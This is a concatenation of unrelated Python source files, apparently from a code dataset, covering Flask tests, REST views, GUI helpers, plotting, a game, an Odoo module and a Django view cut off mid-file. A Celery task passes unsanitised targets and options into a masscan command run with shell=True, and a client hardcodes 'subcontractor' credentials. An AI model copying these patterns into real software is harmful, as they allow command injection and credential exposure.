db.session.query(User).filter_by(spotify_id=test_user[\"spotify_id\"]).first()\n assert temp_user in db.session\n\n id = temp_user.id\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=\"Test User\",\n birthdate=\"\",\n email=\"\")),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"Invalid username\"\n assert result is False\n\n temp_user.username = test_user['username']\n temp_user.save()\n return\n\n def test_user_edit_max_length(self):\n username_max_length = \"1HuM5RVKwL8FoqKPwt0pMcW0EXuJxwjhqEmnwJrNugW4x7P13EGRgJZVFURBEiyJOars0Ra6O5s0fUqeylWpr\" \\\n \"WGcyIQ8OvDHCeEe39WeSqb0vS0bHMhzRjcGTidOmLhgm2iZT8vJMblLLnRfyf02G6BWyT9EV2j5bdhF9dbE86\" \\\n \"10fGdwYnq1vhicBxgnrzgOF1VC5AlDXUopHAQeoWDzU6YVcnypdQsLOiW8akf2LUxL45Dhp9DYemyn38bciip\"\n\n with self.app.app_context():\n temp_user = db.session.query(User).filter_by(spotify_id=test_user[\"spotify_id\"]).first()\n assert temp_user in db.session\n\n id = temp_user.id\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=username_max_length,\n birthdate=\"\",\n email=\"\")),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"\"\n assert result is True\n\n temp_user = db.session.query(User).filter_by(id=id).first()\n\n assert temp_user.username == username_max_length\n\n temp_user.username = test_user['username']\n temp_user.save()\n return\n\n def test_user_edit_max_length_plus(self):\n username_max_length_plus = \"1HuM5RVKwL8FoqKPwt0pMcW0EXuJxwjhqEmnwJrNugW4x7P13EGRgJZVFURBEiyJOars0Ra6O5s0fUqeylWpr\" \\\n \"WGcyIQ8OvDHCeEe39WeSqb0vS0bHMhzRjcGTidOmLhgm2iZT8vJMblLLnRfyf02G6BWyT9EV2j5bdhF9dbE86\" \\\n \"10fGdwYnq1vhicBxgnrzgOF1VC5AlDXUopHAQeoWDzU6YVcnypdQsLOiW8akf2LUxL45Dhp9DYemyn38bciip1\"\n\n with self.app.app_context():\n temp_user = db.session.query(User).filter_by(spotify_id=test_user[\"spotify_id\"]).first()\n assert temp_user in db.session\n\n id = temp_user.id\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=username_max_length_plus,\n birthdate=\"\",\n email=\"\")),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"Invalid username\"\n assert result is False\n\n temp_user = db.session.query(User).filter_by(id=id).first()\n\n assert temp_user.username != username_max_length_plus\n\n temp_user.username = test_user['username']\n temp_user.save()\n return\n\n def test_user_edit_duplicate_username(self):\n with self.app.app_context():\n temp_user = db.session.query(User).all()\n temp_user = temp_user[0]\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=temp_user.username,\n birthdate=\"\",\n email=\"\")),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"Invalid username\"\n assert result is False\n return\n\n def test_user_edit_duplicate_email(self):\n with self.app.app_context():\n temp_user = db.session.query(User).all()\n temp_user = temp_user[0]\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=\"\",\n birthdate=\"\",\n email=temp_user.email)),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"Invalid email\"\n assert result is False\n return\n\n def test_user_info(self):\n with self.app.app_context():\n temp_user = db.session.query(User).all()\n temp_user = temp_user[0]\n id = temp_user.id\n\n response = self.client.post('/users/info', data=json.dumps(dict(username=temp_user.username)),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"\"\n assert result is True\n\n user = resp['user']\n\n temp_user_query = db.session.query(User).filter_by(id=id).first()\n\n assert temp_user_query.username == user['username']\n return\n\n def test_user_info_nonexisting_user(self):\n nonexisting_user = \"TestUser!\"\n with self.app.app_context():\n users = db.session.query(User).all()\n for user in users:\n assert user.username != nonexisting_user\n\n response = self.client.post('/users/info', data=json.dumps(dict(username=nonexisting_user)),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"User does not exist\"\n assert result is False\n return\n\n def tearDown(self):\n return\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"user_tests.py","file_name":"user_tests.py","file_ext":"py","file_size_in_byte":11734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"493681862","text":"#!/usr/bin/python3\n\"\"\"This module create view for City objects\n that handles all default RestFul API actions\n\"\"\"\n\n# from models import storage\n# from models.state import State\n\nfrom api.v1.views import storage, Amenity, app_views\nfrom flask import jsonify, abort, request\n\n\n@app_views.route(\"/amenities\", methods=[\"GET\"])\ndef get_amenities():\n \"\"\" list of all Amenity objects \"\"\"\n\n all_amenities = [state.to_dict()\n for state in storage.all(Amenity).values()]\n\n return jsonify(all_amenities)\n\n\n@app_views.route(\"/amenities/\", methods=[\"GET\"])\ndef get_amenity_by_name(amenity_id=None):\n \"\"\" display a resource of my list of amenities \"\"\"\n\n amenity_object = storage.get(Amenity, amenity_id)\n if amenity_object is None:\n abort(404, \"Not found\")\n\n return jsonify(amenity_object.to_dict())\n\n\n@app_views.route(\"/amenities/\", methods=[\"DELETE\"])\ndef delete_amenity(amenity_id=None):\n \"\"\" delete a resource of my list of states \"\"\"\n\n amenity_object = storage.get(Amenity, amenity_id)\n if amenity_object is None:\n abort(404, \"Not found\")\n\n storage.delete(amenity_object)\n storage.save()\n\n return jsonify(\"{}\"), 200\n\n\n@app_views.route(\"/amenities\", methods=[\"POST\"])\ndef create_new_amenity(state_id=None):\n \"\"\" create new resource by my list of amenities \"\"\"\n\n amenity_object_json = request.get_json()\n if amenity_object_json is None:\n abort(400, \"Not a JSON\")\n\n if 'name' not in amenity_object_json.keys():\n abort(400, \"Missing name\")\n\n amenity_object = Amenity(**amenity_object_json)\n amenity_object.save()\n\n return jsonify(amenity_object.to_dict()), 201\n\n\n@app_views.route(\"/amenities/\", methods=[\"PUT\"])\ndef update_a_amenity(amenity_id=None):\n \"\"\" update a resource of my objects \"\"\"\n\n amenity_object_json = request.get_json()\n if amenity_object_json is None:\n abort(400, \"Not a JSON\")\n\n amenity_object = storage.get(Amenity, amenity_id)\n if amenity_object is None:\n abort(404, \"Not found\")\n\n amenity_object.update(amenity_object_json)\n\n return jsonify(amenity_object.to_dict()), 200\n","sub_path":"api/v1/views/amenities.py","file_name":"amenities.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"472747231","text":"from PySide.QtCore import Slot, QEventLoop\nfrom PySide.QtGui import QDialog\n\n@Slot()\ndef open_dialog_slot(sender, dialogtype):\n dialog = dialogtype()\n \n dialog.exec_()\n \ndef open_dialog(dialogtype):\n dialog = dialogtype()\n \n dialog.exec_()\n\n@Slot()\ndef accept_dialog_slot(sender):\n dialog = {}\n def getParent(obj):\n if isinstance(obj.parent(),QDialog):\n dialog['obj'] = obj.parent()\n else:\n getParent(obj)\n \n getParent(sender)\n \n if dialog.get('obj',None) is not None:\n dialog.get('obj').accept()\n \n@Slot()\ndef reject_dialog_slot(sender):\n dialog = {}\n def getParent(obj):\n if isinstance(obj.parent(),QDialog):\n dialog['obj'] = obj.parent()\n else:\n getParent(obj)\n \n getParent(sender)\n \n if dialog.get('obj',None) is not None:\n dialog.get('obj').reject()\n \n \ndef open_toplevel(widget_type):\n widget = widget_type()\n \n widget.show()\n\n loop = QEventLoop()\n widget.destroyed.connect(loop.quit)\n loop.exec_()\n \n \ndef close_parent(widget):\n if widget.parent() is not None: close_parent(widget.parent())\n else: widget.close()","sub_path":"widgets/util_funcs.py","file_name":"util_funcs.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"446873962","text":"from netCDF4 import Dataset\nimport numpy as np\nfrom mpl_toolkits.basemap import Basemap\nimport matplotlib.pyplot as plt, mpld3\nimport mplleaflet\nimport pandas as pd\nimport csv\n\nwater_nc = 'GLDAS_NOAH10_M.A200101_201501.totalH2O.nc'\nfh = Dataset(water_nc, mode='r')\n\n\ntime = fh.variables[\"Time\"][:]\nlons = fh.variables['Longitude'][:]\nlats = fh.variables['Latitude'][:]\nwater_l = fh.variables[\"Water_Thickness\"][:][100]\nw = fh.variables[\"Water_Thickness\"][:]\nwith open(\"output.csv\", \"w\") as f:\n writer = csv.writer(f)\n writer.writerows(w)\n\n# np_w = np.array(w)\n# b = np.ma.masked_greater(np_w, .5)\n# result= b.data * b.mask\n# result[result==0] = np.nan\n# print(result)\n# np.savetxt(\"water_thick.csv\", result)\n#np.savetxt(\"water_thick.csv\", np_w, delimiter=\",\")\n# with open('test.txt','wb') as f:\n# np.savetxt(f,np_w,fmt='%.18e')\nfh.close()\n\nlon_0 = 83.804868\nlat_0 = 26.427004\n\nm = Basemap(width=10000000,height=5000000,\n resolution='l',projection='stere',\\\n lat_ts=40,lat_0=lat_0,lon_0=lon_0)\n\n\nlon, lat = np.meshgrid(lons, lats)\nxi, yi = m(lon, lat)\nprint(xi.shape)\n\ncs = m.pcolor(xi,yi, np.squeeze(water_l))\n\n# Add Grid Lines\nm.drawparallels(np.arange(-80., 81., 10.), labels=[1,0,0,0], fontsize=10)\nm.drawmeridians(np.arange(-180., 181., 10.), labels=[0,0,0,1], fontsize=10)\n\n# Add Coastlines, States, and Country Boundaries\nm.drawcoastlines()\nm.drawstates()\nm.drawcountries()\n\n# Add Colorbar\n#cbar = m.colorbar(cs, location='bottom', pad=\"10%\")\n\n# Add Title\nplt.title('Water Thickness')\n#plt.show()\n","sub_path":"open_nc.py","file_name":"open_nc.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"473628977","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom .utils import *\nfrom .Field import *\nfrom .interpolation import *\n\nclass WrongDimension(Exception):\n\tpass\n\nclass OutOfEdges(Exception):\n\tpass\n\nclass FieldLine():\n\n\tdef __init__(self, field: Field, edges=[]):\n\n\t\tself.field=field\n\t\tself.dimension=field.dimension\n\t\tself.E_components=np.array(self.field.get_field_components())\n\t\tif self.dimension==3 and not all(i in self.field.vars.keys() for i in ['Ex', 'Ey', 'Ez']):\n\t\t\traise FieldNotFound\n\t\telif self.dimension==2 and (not all(i in self.field.vars.keys() for i in ['Ex', 'Ey']) and not all(i in self.field.vars.keys() for i in ['Er', 'Ez'])):\n\t\t\traise FieldNotFound\n\t\tself.X=self.field.X\n\t\tself.Y=self.field.Y\n\t\tif self.dimension==3:\n\t\t\tself.Z=self.field.Z\n\n\t\tif not edges:\n\t\t\tself.edges=[self.X[0], self.X[-1], self.Y[0], self.Y[-1]]\n\t\t\tif self.dimension==3:\n\t\t\t\tself.edges+=[self.Z[0], self.Z[-1]]\n\t\treturn\n\n\tdef set_edges(self, edges):\n\n\t\tedges=list(edges)\n\t\tif len(edges)>=self.dimension*2:\n\t\t\tself.edges=edges[:self.dimension*2]\n\t\telif len(edges)self.edges[1], self.p[1]self.edges[3]]\n\t\tif self.dimension==3:\n\t\t\tconditions.append(self.p[2]self.edges[5])\n\t\treturn not any(conditions)\n\n\tdef set_initial_point(self, p0):\n\n\t\tif self.dimension!=len(p0):\n\t\t\traise WrongDimension(\"the initial point does not match the expected dimension.\")\n\t\tself.p0=np.array(p0)\n\t\tself.p=np.array(p0)\n\t\treturn\n\n\n\tdef closest_point(self):\n\n\t\tcoords=[self.X, self.Y]\n\t\tif self.dimension==3:\n\t\t\tcoords.append(self.Z)\n\t\treturn closest_point_grid(self.p, np.array(coords))\n\n\n\tdef interpolate(self, params=False):\n\n\t\tif params:\n\t\t\tself.field.set_parameters(params)\n\n\t\tcoords=[self.X, self.Y]\n\t\tif self.dimension==3:\n\t\t\tcoords.append(self.Z)\n\n\t\treturn interpolate(p, np.array(coords), self.E_components)\n\n\n\tdef trajectory(self, dn, diffusion_on=False, print_point=False, plot=False):\n\n\t\tedges = np.array(self.edges, dtype=np.float64)\n\t\tp0 = self.p0.copy()\n\n\t\ttry:\n\t\t\tunit=self.field.vars['z']\n\t\texcept:\n\t\t\tunit=self.field.vars['x']\n\t\t\n\t\tif self.dimension == 3:\n\t\t\treturn trajectory_line_3D(p0, self.X, self.Y, self.Z, self.E_components, dn, self.edges, diffusion_on=diffusion_on, units=unit, print_point=print_point)\n\t\telse:\n\t\t\treturn trajectory_line(p0, self.X, self.Y, self.E_components, dn, edges, diffusion_on=diffusion_on, units=unit, print_point=print_point)","sub_path":"PyCOMes/FieldLine.py","file_name":"FieldLine.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"639438291","text":"from datetime import timedelta\n\nfrom airflow import LoggingMixin\n\nfrom presidio.builders.adapter.hour_is_ready_sensor_operator_builder import HourIsReadySensorOperatorBuilder\nfrom presidio.builders.presidio_dag_builder import PresidioDagBuilder\nfrom presidio.operators.adapter.adapter_operator import AdapterOperator\nfrom presidio.utils.airflow.operators.sensor.task_sensor_service import TaskSensorService\n\n\nclass AdapterOperatorBuilder(LoggingMixin):\n \"\"\"\n The \"AdapterOperatorBuilder\" builds and returns adapter operator of the given schema.\n \"\"\"\n\n def __init__(self, schema):\n \"\"\"\n C'tor.\n :param schema: The schema we should work on\n :type schema: str\n \"\"\"\n self.schema = schema\n\n def build(self, dag):\n \"\"\"\n Builds adapter jar operators.\n :param dag: The DAG to which all relevant \"adapter\" operators should be added\n :type dag: airflow.models.DAG\n :return: The adapter_jar operator\n :rtype: presidio.operators.fixed_duration_jar_operator.FixedDurationJarOperator\n \"\"\"\n self.log.debug(\"populating the %s dag with adapter tasks\", dag.dag_id)\n\n task_sensor_service = TaskSensorService()\n adapter_operator = AdapterOperator(\n fixed_duration_strategy=timedelta(hours=1),\n command=PresidioDagBuilder.presidio_command,\n schema=self.schema,\n dag=dag)\n\n task_sensor_service.add_task_sequential_sensor(adapter_operator)\n\n # 60 * 60 * 24 * 7 -> 1 week\n hour_is_ready_sensor = HourIsReadySensorOperatorBuilder(self.schema, timeout=60 * 60 * 24 * 7,\n time_to_sleep_in_seconds=60).build(dag)\n\n return hour_is_ready_sensor >> adapter_operator\n","sub_path":"presidio-core/presidio-workflows/presidio/builders/indicator/adapter_operator_builder.py","file_name":"adapter_operator_builder.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"195127886","text":"'''\nObtener lideres\nVersion Fn - 5\nlider.py\n'''\ndef promedioExepto(valores,pos):\n resultado = 0.0\n for x in range(0,len(valores)):\n if x != pos:\n resultado = resultado + valores[x]\n regresa=resultado/(len(valores)-1) \n return regresa\n\ndef sacaLider(listas):\n anterior=-1\n resultado=[]\n for i in range(0,len(listas)):\n if listas[i] > promedioExepto(listas,i):\n resultado.append(listas[i])\n anterior=listas[i]\n if anterior >= 0:\n return resultado\n else:\n print(\"No hay lider\")\n\n\na = [3,2,10,1]#10\nb=[5,0,1,2]#5\nc=[1,1,4,1]#4\n\n#print(promedioExepto(lider,0))\nprint(sacaLider(a))\nprint(sacaLider(b))\nprint(sacaLider(c))\n","sub_path":"Tarea13/Fn-5.py","file_name":"Fn-5.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"434341588","text":"import pygame,random,math\nfrom bullet import Bullet\nfrom loadPlayer00 import getNormal,getLR\nfrom pygame.sprite import Sprite\nfrom pygame import Rect\n\nclass Player():\n\tdef __init__(self,screen,setting,bullets,name='reimu',speed=6.0):\n\t\t\n\t\tself.screen=screen\n\t\tself.bullets=bullets\n\t\tself.setting=setting\n\n\t\t#Load images\n\t\tself.imagesN=getNormal()\n\t\tself.imagesL,self.imagesR=getLR()\n\t\tself.image=self.imagesN[0]\n\t\tself.slow_effect0=pygame.image.load('images/eff_sloweffect.png')\n\t\tself.slow_effect=None\n\t\tself.shoot1=pygame.image.load('images/player00 (2).png').subsurface((0,144,64,16))\n\t\tself.shoot1=pygame.transform.rotate(self.shoot1,90)\n\n\t\t#Rect\n\t\tself.rect=self.image.get_rect()\n\t\tself.screen_rect=screen.get_rect()\n\t\tself.rect.centerx=float(self.setting.scr_width)/2\n\t\tself.rect.bottom=float(self.setting.scr_height)-30\n\t\tself.x=float(self.rect.centerx)\n\t\tself.y=float(self.rect.centery)\n\n\t\tself.hit_box=Sprite()\n\t\tself.hit_box.rect=Rect(0,0,4,4)\n\n\t\t#Self constants\n\t\tself.shoot_cd1=8\n\t\tself.shoot_cd2=60\n\n\t\tself.fast_speed=speed\n\t\tself.slow_speed=self.fast_speed/2\n\t\tself.speed=self.fast_speed\n\t\tself.reborn()\n\t\tself.update()\n\n\tdef reborn(self):\n\t\tself.rect.centerx=float(self.setting.scr_width)/2\n\t\tself.rect.bottom=float(self.setting.scr_height)-30\n\t\tself.x=float(self.rect.centerx)\n\t\tself.y=float(self.rect.centery)\n\n\t\tself.go_left=False\n\t\tself.go_right=False\n\t\tself.go_up=False\n\t\tself.go_down=False\n\t\tself.shooting=False\n\t\tself.shooting2=False\n\t\tself.slow=False\n\t\tself.anime=[0,0,0]\n\t\tself.anime_slow=0\n\t\tself.cd1=0\n\t\tself.cd2=0\n\n\tdef blitme(self):\n\t\tself.screen.blit(self.image,self.rect)\n\t\tself.screen.fill((0,0,0),self.hit_box.rect)\n\t\tif self.slow:\n\t\t\tself.screen.blit(self.slow_effect,self.slow_rect)\n\n\tdef update(self):\n\t\t# Speed control\n\t\tif self.slow:\n\t\t\tself.speed=self.slow_speed\n\t\telse:\n\t\t\tself.speed=self.fast_speed\n\t\t\n\t\t#Left/Right motion and animation\n\t\tif self.go_left and (not self.go_right) and self.x-16>0:\n\t\t\tself.x-=self.speed\n\t\t\tself.update_image(1)\n\t\telif self.go_right and (not self.go_left) and self.x+160:\n\t\t\tself.y-=self.speed\n\t\telif self.go_down and not self.go_up and self.y+240:\n\t\t\tself.cd1-=1\n\t\tif self.cd2>0:\n\t\t\tself.cd2-=1\n\n\t\tif self.shooting and self.cd1==0:\n\t\t\tnew_bul=Bullet(self.bullets,self.screen,self.rect,self.shoot1,-10,0,speed=32)\n\t\t\tself.bullets.add(new_bul)\n\t\t\tnew_bul=Bullet(self.bullets,self.screen,self.rect,self.shoot1,10,0,speed=32)\n\t\t\tself.bullets.add(new_bul)\n\t\t\tself.cd1=self.shoot_cd1\n\n\t\tif self.shooting2 and self.cd2==0:\n\t\t\tfor i in range(100):\n\t\t\t\tnew_bul=self.gen_bullet_2()\n\t\t\t\tself.bullets.add(new_bul)\n\t\t\tself.cd2=self.shoot_cd2\t\t\n\n\tdef gen_bullet_2(self):\n\t\tangle=random.random()*6.2831\n\t\tangle_d=int(angle/math.pi*180-90)\n\t\tself.shoot2=pygame.transform.rotate(self.shoot1,angle_d)\n\t\tnew_bul=Bullet(self.bullets,self.screen,self.rect,self.shoot2,0,0,6,angle)\n\t\treturn new_bul\n\n\tdef update_image(self,k):\n\t\tself.anime[k]+=1\n\t\tif k==0:\n\t\t\tself.anime[1]=0\n\t\t\tself.anime[2]=0\n\t\t\tif self.anime[0]==40:\n\t\t\t\tself.anime[0]=0\n\t\t\tself.image=self.imagesN[self.anime[0]//10]\n\t\telif k==1:\n\t\t\tself.anime[2]=0\n\t\t\tif self.anime[1]==70:\n\t\t\t\tself.anime[1]=69\n\t\t\telse:\n\t\t\t\tself.image=self.imagesL[self.anime[1]//10]\n\t\telif k==2:\n\t\t\tself.anime[1]=0\n\t\t\tif self.anime[2]==70:\n\t\t\t\tself.anime[2]=69\n\t\t\telse:\n\t\t\t\tself.image=self.imagesR[self.anime[2]//10]\n\n\t\tif self.slow:\n\t\t\tself.anime_slow+=1\n\t\t\tif self.anime_slow==360:\n\t\t\t\tself.anime_slow=0\n\t\t\tself.slow_effect=pygame.transform.rotate(self.slow_effect0,self.anime_slow)\n\t\t\tself.slow_rect=self.slow_effect.get_rect()\n\t\t\tself.slow_rect.centerx=self.rect.centerx\n\t\t\tself.slow_rect.centery=self.rect.centery\n\n\n\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":4032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"616897510","text":"from app import celery\nfrom datetime import datetime\nimport subprocess\nimport json\nimport os\n\n\n@celery.task(bind=True)\ndef do_async_scan(self, targets, options):\n self.update_state(state=\"PROGRESS\", meta={'progress': \"unknown\"})\n result = {\n \"start_time\": datetime.utcnow(),\n \"end_time\": datetime.utcnow(),\n \"result\": {\n \"total\": len(targets.split()),\n \"failed\": 0,\n \"details\": []\n }\n }\n\n temp_file = \"masscan.json\"\n scan_cmd = \"masscan {} -oJ {} {}\".format(options, temp_file, targets)\n subprocess.call(scan_cmd, shell=True)\n\n with open(temp_file, 'r') as f:\n f.readline() # delete first line '['\n for line in f.readlines():\n if not line.startswith(']'): # delete last line ']'\n result[\"result\"][\"details\"].append(json.loads(line[:-2])) # delete end ','\n\n if os.path.exists(temp_file):\n os.remove(temp_file)\n self.update_state(state=\"PROGRESS\", meta={'progress': 100})\n result[\"end_time\"] = datetime.utcnow()\n return result\n","sub_path":"app/async/service_probe_by_masscan.py","file_name":"service_probe_by_masscan.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"89405714","text":"try:\n num=int(input())\n l=list(map(int,input().split()))\n x=[]\n for i in range(0,num):\n if(l[i]<0):\n exit(0)\n if(l[i]==i):\n x.append(l[i])\n if(len(x)==0):\n print(\"-1\")\n else:\n for num in x:\n print(num,end=\" \")\nexcept:\n print(\"invalid\")\n","sub_path":"hunt3.py","file_name":"hunt3.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"597402606","text":"import sys\ninput = sys.stdin.readline\n\n\ndef DFS(L):\n print(L, \"===\")\n for i in range(1, (L // 2) + 1):\n print(stack)\n print(stack[-i:], stack[-2 * i:-i])\n if stack[-i:] == stack[-2 * i:-i]:\n return -1\n \n if L == N:\n print(*stack, sep=\"\")\n sys.exit(0)\n\n for j in range(1, 4):\n stack.append(str(j))\n DFS(L + 1)\n stack.pop()\n\n\nN = int(input())\n\nstack = []\n\nDFS(0)\n","sub_path":"BaekjoonOnlineJudge/2661/2661.py","file_name":"2661.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"210856737","text":"import logging\n\nfrom cinp.client import CInP, NotFound, InvalidSession\n\nCONTRACTOR_API_VERSION = '0.9'\nSUBCONTRACTOR_USERNAME = 'subcontractor'\nSUBCONTRACTOR_PASSWORD = 'subcontractor'\n\n\nclass Contractor():\n def relogin( func ):\n def wrapper( self, *args, **kwargs ):\n try:\n return func( self, *args, **kwargs )\n except InvalidSession:\n logging.debug( 'contractor: got invalid session, re-logging in and re-trying' )\n self.logout()\n self.login()\n return func( self, *args, **kwargs )\n return wrapper\n\n def __init__( self, site, host, root_path, proxy, stop_event ):\n super().__init__()\n self.module_list = []\n self.site = '{0}Site/Site:{1}:'.format( root_path, site )\n self.cinp = CInP( host=host, root_path=root_path, proxy=proxy, retry_event=stop_event )\n\n root, _ = self.cinp.describe( '/api/v1/', retry_count=30 ) # very tollerant for the initial describe, let things settle\n if root[ 'api-version' ] != CONTRACTOR_API_VERSION:\n raise Exception( 'Expected API version \"{0}\" found \"{1}\"'.format( CONTRACTOR_API_VERSION, root[ 'api-version' ] ) )\n\n self.login()\n\n def login( self ):\n self.token = self.cinp.call( '/api/v1/Auth/User(login)', { 'username': SUBCONTRACTOR_USERNAME, 'password': SUBCONTRACTOR_PASSWORD }, retry_count=10 )\n self.cinp.setAuth( SUBCONTRACTOR_USERNAME, self.token )\n\n def logout( self ):\n try:\n self.cinp.call( '/api/v1/Auth/User(logout)', { 'token': self.token }, retry_count=10 )\n except InvalidSession:\n pass\n self.cinp.setAuth()\n self.token = None\n\n def setModuleList( self, module_list ):\n self.module_list = module_list\n\n def getSite( self ):\n try:\n return self.cinp.get( self.site )\n except NotFound:\n return None\n\n @relogin\n def getJobs( self, job_count ):\n logging.debug( 'contractor: asking for \"{0}\" more jobs'.format( job_count ) )\n return self.cinp.call( '/api/v1/SubContractor/Dispatch(getJobs)', { 'site': self.site, 'module_list': self.module_list, 'job_count': job_count }, retry_count=20 )\n\n @relogin\n def jobResults( self, job_id, data, cookie ):\n logging.debug( 'contractor: sending results for job \"{0}\"'.format( job_id ) )\n return self.cinp.call( '/api/v1/SubContractor/Dispatch(jobResults)', { 'job_id': job_id, 'cookie': cookie, 'data': data }, retry_count=20 )\n\n @relogin\n def jobError( self, job_id, msg, cookie ):\n logging.debug( 'contractor: sending error for job \"{0}\"'.format( job_id ) )\n self.cinp.call( '/api/v1/SubContractor/Dispatch(jobError)', { 'job_id': job_id, 'cookie': cookie, 'msg': msg }, retry_count=20 )\n\n @relogin\n def getDHCPdDynamidPools( self ):\n logging.debug( 'contractor: getting dynamic pools' )\n return self.cinp.call( '/api/v1/SubContractor/DHCPd(getDynamicPools)', { 'site': self.site }, retry_count=20 )\n\n @relogin\n def getDHCPdStaticPools( self ):\n logging.debug( 'contractor: getting static assignments by mac' )\n return self.cinp.call( '/api/v1/SubContractor/DHCPd(getStaticPools)', { 'site': self.site }, retry_count=20 )\n","sub_path":"subcontractor/contractor.py","file_name":"contractor.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"87778010","text":"# -*- coding: utf-8 -*-\n# Copyright 2017 Giacomo Grasso \n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\n\nimport ast\nimport json\nfrom odoo import models, fields, api\nfrom . import dictionary_operations as dictop\n\n\nclass AccountBankStatementLine(models.Model):\n _inherit = 'account.bank.statement.line'\n\n cf_reconciled = fields.Boolean(string='Reconc.')\n counterpart_move_ids = fields.One2many(\n comodel_name='account.move.line',\n inverse_name='bank_statement_line_id',\n # compute='compute_counterpart_lines',\n store=True,\n string='Treasury Forecast')\n cf_share = fields.Text(\n compute='compute_counterpart_lines',\n store=True,\n string='CF reporting share',)\n\n @api.model\n def bank_compute_share_init(self):\n \"\"\"Computing share at module installation, method called by data.xml.\"\"\"\n statement_line_list = self.search([])\n for line in statement_line_list:\n line.compute_counterpart_lines()\n\n @api.multi\n @api.depends('journal_entry_ids.line_ids.matched_debit_ids',\n 'journal_entry_ids.line_ids.matched_credit_ids')\n def compute_counterpart_lines(self):\n \"\"\"At line's reconciliation the cash flow share is computed based on\n the counterpart moves share (if reconciled with invoices) or from\n the account move's structure in case of simple reconciliation.\"\"\"\n for item in self:\n move_debit_lines = []\n move_credit_lines = []\n\n # list of all the move lines of the payment's move\n line_list = []\n for entry in item.journal_entry_ids:\n for line in entry.line_ids:\n if line.account_id.treasury_planning:\n line_list.append(line)\n\n # for each line above collect all the reconciled counterpart lines\n for line in line_list:\n if line.credit > 0 and line.debit == 0:\n for match in line.matched_debit_ids:\n move_debit_lines.append(match.debit_move_id.id)\n\n if line.credit == 0 and line.debit > 0:\n for match in line.matched_credit_ids:\n move_credit_lines.append(match.credit_move_id.id)\n\n if move_credit_lines:\n counterpart_move_ids = move_credit_lines\n else:\n counterpart_move_ids = move_debit_lines\n\n # bank move share is transformed to dictionary\n bank_move_dict = (ast.literal_eval(item.cf_share) if\n item.cf_share else {})\n\n # the share of each counterpart line is \"merged or added\"\n # in a weighted manner to the bank line share\n for cpt in counterpart_move_ids:\n dest_move_line = self.env['account.move.line'].browse(cpt)\n weight = round(dest_move_line.balance / item.amount, 2)\n # counterpart share is transformed into dictionary\n move_line_dict = ast.literal_eval(dest_move_line.cf_share)\n\n # each key is finally added to the bank line share\n for key, value in move_line_dict.iteritems():\n draft_dictionary = dictop.sum_dictionary(\n bank_move_dict.get(key, {}), 1,\n move_line_dict.get(key, {}), weight)\n bank_move_dict[key] = dictop.check_dict_total(\n draft_dictionary, 1)\n\n # the dictionary is transformed into string and assigned\n item.cf_share = json.dumps(bank_move_dict)\n","sub_path":"treasury_cash_flow_report/models/account_bank_statement.py","file_name":"account_bank_statement.py","file_ext":"py","file_size_in_byte":3689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"542473874","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect,HttpResponse,Http404\nfrom addBook.models import Book\nfrom .models import HomeSlide\nfrom django.views.generic import ListView,DetailView\n\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\n\n# Create your views here.\n\n# def home(request):\n# book=Book.objects.all()\n# homeSlide=HomeSlide.objects.all()\n# return render(request,'home.html',{'book':book, 'homeSlide':homeSlide})\n\n# # def bookButton(request):\n# # return HttpResponseRedirect('/')\n \nclass BookDetailSlugView(DetailView):\n queryset=Book.objects.all()\n\n template_name=\"detail.html\"\n def get_object(self,*args,**kwargs):\n request=self.request\n slug=self.kwargs.get('slug')\n # instance=books.objects.get_by_id(slug) \n #instance=books.objects.get(slug=slug)\n try:\n instance=Book.objects.get(slug=slug)\n \n except 